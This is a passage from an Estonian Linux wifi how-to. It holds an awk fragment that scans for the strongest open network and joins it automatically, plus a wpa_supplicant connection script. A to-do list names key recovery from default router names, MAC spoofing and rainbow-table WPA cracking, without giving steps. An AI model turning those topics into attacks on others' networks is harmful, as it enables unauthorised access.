}else if( $1 == "Encryption"){\	
	split($2, a, ":");\
	encarray[i] = a[2];\
	if( qualityarray[i] > maxq && encarray[i] == "off") {\
		maxq = qualityarray[i];\
		maxqi = i;\
	}; \
} else {\
	split($1, a, ":");\
	if ( a[1] == "ESSID"){\
		gsub(/\"/, "", a[2]); essidarray[i] = a[2];\
	}else if(a[1] == "Channel"){\
		channelarray[i]=a[2];\
	}else{ \
		split($1,a,"=");\
		if (a[1] == "Quality"){\
			sub(/\/100/, "", a[2]); qualityarray[i] = a[2];\
			if (a[1] == "Quality"){\
				sub(/\/100/, "", a[2]);\
				qualityarray[i] = a[2];\
			};\
		};\
	};\
};\
}END{\
print "found networks:"; print "Cell ESSID Channel AP Quality Encryption";\
for ( f in namearray ){\
	print namearray[f],essidarray[f],channelarray[f],aparray[f],qualityarray[f],encarray[f];\
}; \
if ( maxqi != 0 ){\
	print "Choosing Cell ",maxqi," because of best quality";\
	system("sudo iwconfig "WD" essid "essidarray[maxqi]" channel "channelarray[maxqi]" ap "aparray[maxqi]"; sudo dhclient "WD" ");\
} else {\
	print "No open networks were found!";\
};\
};'

Järgnev skript on abiks kui soovid lihtsalt ja kiirelt olemasolevate konfiguratsioonidfailide abil tuttavasse, WEP,WPA või WPA2 protokolliga turvatud võrku ühendada. Wifi võrguseadme nimi tuleks skriptis ise ära muuta, kui see ei ole wlan0 .

#!/bin/bash
# Connect to WEP/WPA/WPA2 network using configurationfiles. written by Argo Ellisson

# default wifi device name
WD="wlan0"

# Stop network-manager service and bring device up just in case
sudo service network-manager stop > /dev/null 2>&1
sudo ifconfig $WD up > /dev/null 2>&1

if [ $# == 0 ]; then
	#  connect using default configurationfile
	sudo wpa_supplicant -D wext -i $WD -c /etc/wpa_supplicant/wpa_supplicant.conf &
else
	#  connect to some other network with wpa_supplicant configurationfile given as a parameter
	sudo wpa_supplicant -D wext -i $WD -c $1 &
fi

sudo dhclient $WD 

Puuduvad teemad ehk "to do" list

Selle artikli juures võiks pikemalt lahti seletada veel järgmised asjad:

  • Madwifi draiveri installeerimine
  • wlanconfig utiliit, mis sisaldub madwifi-tools paketis
  • kismet utiliidi installeerimine ja kasutamine koos GPS seadmega wifi võrkude kaardistamiseks
  • Tehase poolt määratud vaikimisi ESSID järgi WEP/WPA võtmete leidmine - n. SpeedTouchi ruuterite puhul saab seda teha siit
  • MAC aadresside võltsimine (MAC address spoofing), n. macchanger utiliidi abil.
  • Rainbow tabelite abil WPA võtmete otsimine
  • Autentimine Radius serveri abil

Juhendist

Juhendi koostasid:

  • Argo Ellisson


Kasutatud materjalid:

  • iw*, wpa*, air* tööriistade linuxi abilehed (man-pages).

Versioonide ajalugu:

Versioon Kuupäev Muudatused
1.0 Algne versioon
1.1
1.2